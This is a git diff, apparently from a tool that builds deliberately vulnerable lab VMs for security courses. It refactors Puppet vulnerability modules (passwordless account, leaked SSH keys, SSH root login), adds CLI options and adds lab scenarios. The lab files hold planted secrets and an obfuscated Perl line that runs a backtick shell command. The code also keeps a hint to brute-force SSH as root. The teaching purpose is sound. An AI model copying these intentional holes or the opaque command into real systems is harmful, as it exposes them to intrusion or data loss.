b/modules/vulnerabilities/unix/system/passwordless_user_account/manifests/init.pp @@ -1,6 +1,5 @@ class passwordless_user_account::init { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $account = parsejson($secgen_parameters['accounts'][0]) $username = $account['username'] diff --git a/modules/vulnerabilities/unix/system/ssh_leaked_keys/manifests/init.pp b/modules/vulnerabilities/unix/system/ssh_leaked_keys/manifests/init.pp index 328af575f..0a960601c 100644 --- a/modules/vulnerabilities/unix/system/ssh_leaked_keys/manifests/init.pp +++ b/modules/vulnerabilities/unix/system/ssh_leaked_keys/manifests/init.pp @@ -1,6 +1,5 @@ class ssh_leaked_keys::init { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $strings_to_leak = $secgen_parameters['strings_to_leak'] $accounts = $secgen_parameters['accounts'] diff --git a/modules/vulnerabilities/unix/system/ssh_root_login/manifests/init.pp b/modules/vulnerabilities/unix/system/ssh_root_login/manifests/init.pp index 3c0a089ae..cd383b8aa 100644 --- a/modules/vulnerabilities/unix/system/ssh_root_login/manifests/init.pp +++ b/modules/vulnerabilities/unix/system/ssh_root_login/manifests/init.pp @@ -1,6 +1,5 @@ class ssh_root_login::init { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $strings_to_leak = $secgen_parameters['strings_to_leak'] $leaked_filenames = $secgen_parameters['leaked_filenames'] $root_password = $secgen_parameters['root_password'][0] @@ -9,6 +8,10 @@ class ssh_root_login::init { ensure => "installed", } + package { "sshpass": + ensure => "installed", + } + service { "ssh": ensure => running, hasstatus => true, @@ -36,4 +39,4 @@ class ssh_root_login::init { mode => '0600', leaked_from => "accounts_root", } -} \ No newline at end of file +} diff --git a/modules/vulnerabilities/unix/system/ssh_root_login/secgen_metadata.xml b/modules/vulnerabilities/unix/system/ssh_root_login/secgen_metadata.xml index 0e88ddee7..39112f414 100644 --- a/modules/vulnerabilities/unix/system/ssh_root_login/secgen_metadata.xml +++ b/modules/vulnerabilities/unix/system/ssh_root_login/secgen_metadata.xml @@ -18,10 +18,6 @@ leaked_filenames - - - - @@ -36,6 +32,10 @@ Use a ssh bruteforce/dictionary cracker, connect with ssh root@victim-IP-address + + + + \ No newline at end of file diff --git a/modules/vulnerabilities/unix/system/symlinks/manifests/init.pp b/modules/vulnerabilities/unix/system/symlinks/manifests/init.pp index 952afa523..1b6ed155a 100644 --- a/modules/vulnerabilities/unix/system/symlinks/manifests/init.pp +++ b/modules/vulnerabilities/unix/system/symlinks/manifests/init.pp @@ -1,6 +1,5 @@ class symlinks::init { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $accounts = $secgen_parameters['accounts'] $accounts.each |$raw_account| { diff --git a/modules/vulnerabilities/unix/system/two_shell_calls/manifests/init.pp b/modules/vulnerabilities/unix/system/two_shell_calls/manifests/init.pp index 45bb95be4..b4f533afb 100644 --- a/modules/vulnerabilities/unix/system/two_shell_calls/manifests/init.pp +++ b/modules/vulnerabilities/unix/system/two_shell_calls/manifests/init.pp @@ -1,6 +1,5 @@ class two_shell_calls::init { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) group { 'managers': ensure => 'present', diff --git a/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/apache.pp b/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/apache.pp index 20bd4b943..f182427ff 100644 --- a/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/apache.pp +++ b/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/apache.pp @@ -1,6 +1,5 @@ class gitlist_040::apache { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $port = $secgen_parameters['port'][0] $docroot = '/var/www/gitlist' diff --git a/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/configure.pp b/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/configure.pp index 6d578cef3..b4f430ce0 100644 --- a/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/configure.pp +++ b/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/configure.pp @@ -1,6 +1,5 @@ class gitlist_040::configure { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $leaked_filenames = $secgen_parameters['leaked_filenames'] $strings_to_leak = $secgen_parameters['strings_to_leak'] $images_to_leak = $secgen_parameters['images_to_leak'] diff --git a/modules/vulnerabilities/unix/webapp/moinmoin_195/manifests/config.pp b/modules/vulnerabilities/unix/webapp/moinmoin_195/manifests/config.pp index 701265109..6c4d3fc17 100644 --- a/modules/vulnerabilities/unix/webapp/moinmoin_195/manifests/config.pp +++ b/modules/vulnerabilities/unix/webapp/moinmoin_195/manifests/config.pp @@ -1,6 +1,5 @@ class moinmoin_195::config { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $images_to_leak = $secgen_parameters['images_to_leak'] $raw_org = $secgen_parameters['organisation'] diff --git a/modules/vulnerabilities/unix/webapp/onlinestore/manifests/apache.pp b/modules/vulnerabilities/unix/webapp/onlinestore/manifests/apache.pp index 4d4298c4a..de7b4f580 100644 --- a/modules/vulnerabilities/unix/webapp/onlinestore/manifests/apache.pp +++ b/modules/vulnerabilities/unix/webapp/onlinestore/manifests/apache.pp @@ -1,6 +1,5 @@ class onlinestore::apache { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $port = $secgen_parameters['port'][0] $docroot = '/var/www/onlinestore' diff --git a/modules/vulnerabilities/unix/webapp/onlinestore/manifests/install.pp b/modules/vulnerabilities/unix/webapp/onlinestore/manifests/install.pp index 9620cd82c..076c8b886 100644 --- a/modules/vulnerabilities/unix/webapp/onlinestore/manifests/install.pp +++ b/modules/vulnerabilities/unix/webapp/onlinestore/manifests/install.pp @@ -1,6 +1,5 @@ class onlinestore::install { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) # Parse out parameters $db_flag = $secgen_parameters['strings_to_leak'][0] diff --git a/scenarios/examples/incremental_base_boxes.xml b/scenarios/examples/incremental_base_boxes.xml new file mode 100644 index 000000000..fbf558e32 --- /dev/null +++ b/scenarios/examples/incremental_base_boxes.xml @@ -0,0 +1,33 @@ + + + + + + debian_desktop_base + + + + + + + + + debian_server_base + + + + + + + kali_base + + + + + + + + + diff --git a/scenarios/examples/services_utilities_examples/irc_service.xml b/scenarios/examples/services_utilities_examples/irc_service.xml index cc95b1fdb..6fbcbc399 100644 --- a/scenarios/examples/services_utilities_examples/irc_service.xml +++ b/scenarios/examples/services_utilities_examples/irc_service.xml @@ -8,7 +8,7 @@ irc_server - + diff --git a/scenarios/examples/services_utilities_examples/kde_minimal_desktop.xml b/scenarios/examples/services_utilities_examples/kde_minimal_desktop.xml new file mode 100644 index 000000000..44cda56ba --- /dev/null +++ b/scenarios/examples/services_utilities_examples/kde_minimal_desktop.xml @@ -0,0 +1,18 @@ + + + + + + desktop + + + + + + + + + + diff --git a/scenarios/windows_scenario.xml b/scenarios/examples/windows_scenario.xml similarity index 100% rename from scenarios/windows_scenario.xml rename to scenarios/examples/windows_scenario.xml diff --git a/scenarios/labs/1_integrity_protection.xml b/scenarios/labs/1_integrity_protection.xml new file mode 100644 index 000000000..d3a0b8644 --- /dev/null +++ b/scenarios/labs/1_integrity_protection.xml @@ -0,0 +1,215 @@ + + + + + + desktop + + + + + + + + + mythical_creatures + + + + + tiaspbiqe2r + + + true + + + trade_secrets/code.pl + trade_secrets/credit_card + personal_secrets/credit_card + logs/log1 + personal_secrets/address_book + + + no warnings; `$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@%)=( + $!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++; + $_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++ + ;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=` + Visa 4111 1111 1111 1111 +American Express 3400 0000 0000 009 +Diner's Club 3000 0000 0000 04 + MasterCard 5500 0000 0000 0004 + [80380.876359] usb 3-1: USB disconnect, device number 3 +[80382.626853] usb 3-1: new full-speed USB device number 4 using xhci_hcd +[80382.755813] usb 3-1: New USB device found, idVendor=096e, idProduct=0858 +[80382.755819] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0 +[80382.755822] usb 3-1: Product: U2F CCID KBOARD +[80382.755825] usb 3-1: Manufacturer: FT +[80382.757386] hid-generic 0003:096E:0858.0004: hiddev0,hidraw0: USB HID v1.00 Device [FT U2F CCID KBOARD] on usb-0000:00:14.0-1/input0 +[80383.925811] usb 3-1: USB disconnect, device number 4 + + + + + + + + + mythical_creatures + + + + + test + + + false + + + + + + + + + + + + + mythical_creatures + + + + + test + + + false + + + + + + + + + + + + + + + + + + accounts + + + + + + accounts + + + accounts + + + true + + + + + + + + accounts + + + true + + + http://172.16.0.3 + + + + + + 172.16.0.3 + + + accounts + + + + + + desktop_root_password + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + hackerbot_server + + + + + + + + + + + + + + + accounts + + + desktop_root_password + + + + + + + + + + + + + + + + diff --git a/scenarios/labs/2_integrity_detection.xml b/scenarios/labs/2_integrity_detection.xml new file mode 100644 index 000000000..d3a0b8644 --- /dev/null +++ b/scenarios/labs/2_integrity_detection.xml @@ -0,0 +1,215 @@ + + + + + + desktop + + + + + + + + + mythical_creatures + + + + + tiaspbiqe2r + + + true + + + trade_secrets/code.pl + trade_secrets/credit_card + personal_secrets/credit_card + logs/log1 + personal_secrets/address_book + + + no warnings; `$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@%)=( + $!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++; + $_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++ + ;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=` + Visa 4111 1111 1111 1111 +American Express 3400 0000 0000 009 +Diner's Club 3000 0000 0000 04 + MasterCard 5500 0000 0000 0004 + [80380.876359] usb 3-1: USB disconnect, device number 3 +[80382.626853] usb 3-1: new full-speed USB device number 4 using xhci_hcd +[80382.755813] usb 3-1: New USB device found, idVendor=096e, idProduct=0858 +[80382.755819] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0 +[80382.755822] usb 3-1: Product: U2F CCID KBOARD +[80382.755825] usb 3-1: Manufacturer: FT +[80382.757386] hid-generic 0003:096E:0858.0004: hiddev0,hidraw0: USB HID v1.00 Device [FT U2F CCID KBOARD] on usb-0000:00:14.0-1/input0 +[80383.925811] usb 3-1: USB disconnect, device number 4 + + + + + + + + + mythical_creatures + + + + + test + + + false + + + + + + + + + + + + + mythical_creatures + + + + + test + + + false + + + + + + + + + + + + + + + + + + accounts + + + + + + accounts + + + accounts + + + true + + + + + + + + accounts + + + true + + + http://172.16.0.3 + + + + + + 172.16.0.3 + + + accounts + + + + + + desktop_root_password + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + hackerbot_server + + + + + + + + + + + + + + + accounts + + + desktop_root_password + + + + + + + + + + + + + + + + diff --git a/scenarios/seccourse.xml b/scenarios/labs/bham_seccourse.xml similarity index 100% rename from scenarios/seccourse.xml rename to scenarios/labs/bham_seccourse.xml diff --git a/secgen.rb b/secgen.rb index b4f5c2918..5ab9c5a62 100644 --- a/secgen.rb +++ b/secgen.rb @@ -26,9 +26,10 @@ def usage --total-memory: Allocate total VM memory for the scenario, split evenly across all VMs. --cpu-cores: Number of virtual CPUs for generated VMs --help, -h: Shows this usage information + --system, -y [system_name]: only build this system_name from the scenario VIRTUALBOX OPTIONS: - --gui-output', '-g': gui output + --gui-output, -g gui output --nopae: disable PAE support --hwvirtex: enable HW virtex support --vtxvpid: enable VTX support @@ -45,9 +46,9 @@ def usage COMMANDS: run, r: Builds project and then builds the VMs build-project, p: Builds project (vagrant and puppet config), but does not build VMs - build-vms [/project/dir], v [project #]: Builds VMs from a previously generated project + build-vms, v: Builds VMs from a previously generated project (use in combination with --project [dir]) - create-forensic-image [/project/dir], v [project #]: Builds forensic images from a previously generated project + create-forensic-image: Builds forensic images from a previously generated project (can be used in combination with --project [dir]) list-scenarios: Lists all scenarios that can be used with the --scenario option list-projects: Lists all projects that can be used with the --project option @@ -120,11 +121,20 @@ end # Builds the vm via the vagrant file in the project dir # @param project_dir -def build_vms(project_dir, shutdown) +def build_vms(project_dir, options) + Print.info "Building project: #{project_dir}" - if GemExec.exe('vagrant', project_dir, 'up') + system = '' + command = 'up' + if options.has_key? :system + system = options[:system] + end + if options.has_key? :reload + command = '--provision reload' + end + if GemExec.exe('vagrant', project_dir, "#{command} #{system}") Print.info 'VMs created.' - if shutdown + if options[:shutdown] GemExec.exe('vagrant', project_dir, 'halt') end else @@ -195,7 +205,7 @@ end # Runs methods to run and configure a new vm from the configuration file def run(scenario, project_dir, options) build_config(scenario, project_dir, options) - build_vms(project_dir, options[:shutdown]) + build_vms(project_dir, options) end def default_project_dir @@ -276,6 +286,8 @@ opts = GetoptLong.new( [ '--project', '-p', GetoptLong::REQUIRED_ARGUMENT ], [ '--scenario', '-s', GetoptLong::REQUIRED_ARGUMENT ], [ '--prefix', GetoptLong::REQUIRED_ARGUMENT ], + [ '--system', '-y', GetoptLong::REQUIRED_ARGUMENT], + [ '--reload', '-r', GetoptLong::NO_ARGUMENT], [ '--gui-output', '-g', GetoptLong::NO_ARGUMENT], [ '--nopae', GetoptLong::NO_ARGUMENT], [ '--hwvirtex', GetoptLong::NO_ARGUMENT], @@ -313,6 +325,12 @@ opts.each do |opt, arg| project_dir = project_dir(arg) # Additional options + when '--system' + Print.info "VM control (Vagrant) commands will only apply to system #{arg} (must match a system defined in the scenario)" + options[:system] = arg + when '--reload' + Print.info "Will reload and re-provision the VMs" + options[:reload] = true when '--gui-output' Print.info "Gui output set (virtual machines will be spawned)" options[:gui_output] = true